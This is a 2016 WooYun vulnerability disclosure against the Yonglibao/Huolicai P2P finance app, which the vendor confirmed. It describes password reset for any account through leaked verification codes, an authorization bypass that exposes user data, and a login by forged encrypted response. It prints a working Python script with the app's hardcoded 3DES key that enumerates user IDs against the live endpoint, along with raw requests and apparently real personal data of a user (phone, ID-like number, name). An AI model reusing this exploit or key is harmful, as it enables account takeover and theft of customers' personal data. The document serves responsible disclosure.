当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0188850

漏洞标题:P2P金融安全之永利宝旗下某处涉及缺陷打包

相关厂商:yonglibao.com

漏洞作者: Zhe

提交时间:2016-03-27 21:12

修复时间:2016-05-12 11:57

公开时间:2016-05-12 11:57

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-27: 细节已通知厂商并且等待厂商处理中
2016-03-28: 厂商已经确认,细节仅向厂商公开
2016-04-07: 细节向核心白帽子及相关领域专家公开
2016-04-17: 细节向普通白帽子公开
2016-04-27: 细节向实习白帽子公开
2016-05-12: 细节向公众公开

简要描述:

详细说明:

http://android.myapp.com/myapp/detail.htm?apkName=com.huolicai.android
下载火理财APP
http://huo.yonglibao.com/
经分析。此APP用的密钥算法,跟永利宝一致,可直接用于本APP数据的加解密。
如何得到密钥跟算法
祥见 WooYun: P2P金融安全之永利宝某处缺陷(可批量获取用户信息)
跟之前的永利宝毛病一样
1.任意用户登陆/支付密码重置,两种方式,直接解密/日志打印泄露
起因都是因为验证码返回客户端
举例说明
13103566051测试
日志打印出验证码

QQ截图20160324235729.png


加解密脚本,解密出返回体内容

QQ截图20160325000043.png


输入验证码后跳转至设置密码页面

QQ截图20160324235815.png


设置新密码即可
登陆

QQ截图20160325002332.png


2.接口越权查询(数据都基本都打码了,只剩名字跟)

QQ截图20160325002507.png


获取用户信息

POST http://huo.yonglibao.com/V2/User/setting HTTP/1.1
X-Wap-Proxy-Cookie: none
Cookie: CHANNEL=null;APP_VERSION=android_V2.3.2;TERMINAL=android_41A3945A92BD7B1D41B5AE511F7B3835%7C000000000000000;APP_TIME=1458861888009;BDUSS=;
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.1; Google Nexus 4 - 4.1.1 - API 16 - 768x1280_1 Build/JRO03S)
Host: huo.yonglibao.com
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 107
i=eb6nlXk8cpc2TjXk7%2F4XZyoohgd8bkTft3MAj4bWOIxzUSR6JzaIXN3cy7pkaj9IHuqt8zmubfDF%0AvZDdIXMFhBlT3QpBacE3%0A&


利用脚本遍历uid后的结果

QQ截图20160325072606.png


3.任意用户登陆
登陆的数据包

QQ截图20160325072812.png


解密返回体内容

XTxpp6XhYopXJyoPaCnWHw8hfmAcoFSQPgzkKF9GeEuMUE1kHIm5JWlD9u61LA6wh+CcDufbI4iiDFatkuGscf7QJXZsSTOUhGD/oHIxvZaIO3wK1nZ8KLCtSLl7NJvOGu8UXUY210b6dVVgGrOZSWuDjgdlOaLB+xxJ+thueH570UlufnDHk/kQnootA3wdMIP0sX5UC2dKv9HRxww7mg==


解密后

{"s":1000,"r":{"i":"1183890","a":"13103566051","p":"13103566051","e":"140524197209098047","r":"\u6b66\u79c0\u4e91","v":"1","n":"13103566051","t":"1458773137"}}


剔除干扰元素,只留下i的数值跟t,例如,i也改成1180000

{"s":1000,"r":{"i":"1180000","a":"1","p":"1","e":"1","r":"1","v":"1","n":"1","t":"1458773137"}}


加密后

XTxpp6XhYopXJyoPaCnWH+y1kIgGnpb+BvoqZTnsQcmhzJ20zLGCENzq/J64L44zUIR7hVooiP+4A4Dza3rY3NkgsFJ7XHd8+IWox5CcEhswg/SxflQLZ0q/0dHHDDua


替换我们的返回体。
即可登陆uid=1180000的账户

QQ截图20160325073641.png


查看各类信息

漏洞证明:

附上脚本

import pyDes
import requests
import base64
import urllib
key="8daluqp9xm2kw6zs1hta0000"
def DES3encrypt(param):
obj = pyDes.triple_des(key,mode=pyDes.ECB,IV=None,pad=None,padmode=pyDes.PAD_PKCS5)
d = obj.encrypt(param)
result=base64.b64encode(d)
result=urllib.quote_plus(result)
return result
def DES3decrypt(param):
#param=urllib.unquote_plus(param)
param=base64.b64decode(param)
obj = pyDes.triple_des(key,mode=pyDes.ECB,IV=None,pad=None,padmode=pyDes.PAD_PKCS5)
result = obj.decrypt(param)
return result
def send (payload):
headers = {'User-Agent': 'Yonglibao_from_A',"Content-Type":" application/x-www-form-urlencoded; charset=UTF-8"}
data="i="+payload+"&"
r = requests.post("http://huo.yonglibao.com/V2/User/setting", data=data,headers=headers)
result=DES3decrypt(r.text)
return result
def start():
fp=open("2.txt","w+")
#fp2=open("phone.txt","r")
#for i in set(fp2.readlines()):
for i in range(1180000,1181000):
userinfo=""
param='''{"u":"41A3945A92BD7B1D41B5AE511F7B3835|000000000000000","i":'''+str(i)+'''}'''
#print param
payload=DES3encrypt(param)
userinfo=send(payload)
print userinfo
fp.write("1")
fp.write("\n")
fp.close()
param='''{"s":1000,"r":{"i":"1180000","a":"1","p":"1","e":"1","r":"1","v":"1","n":"1","t":"1458773137"}}'''
print DES3encrypt(param)
start()


跟永利宝差不多,只剩换了请求模板

修复方案:

1.权限控制
2.取消验证码回显

版权声明:转载请注明来源 Zhe@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-03-28 11:57

厂商回复:

感谢对我们的关注,马上安排工程师修复。

最新状态:

暂无


漏洞评价:

评价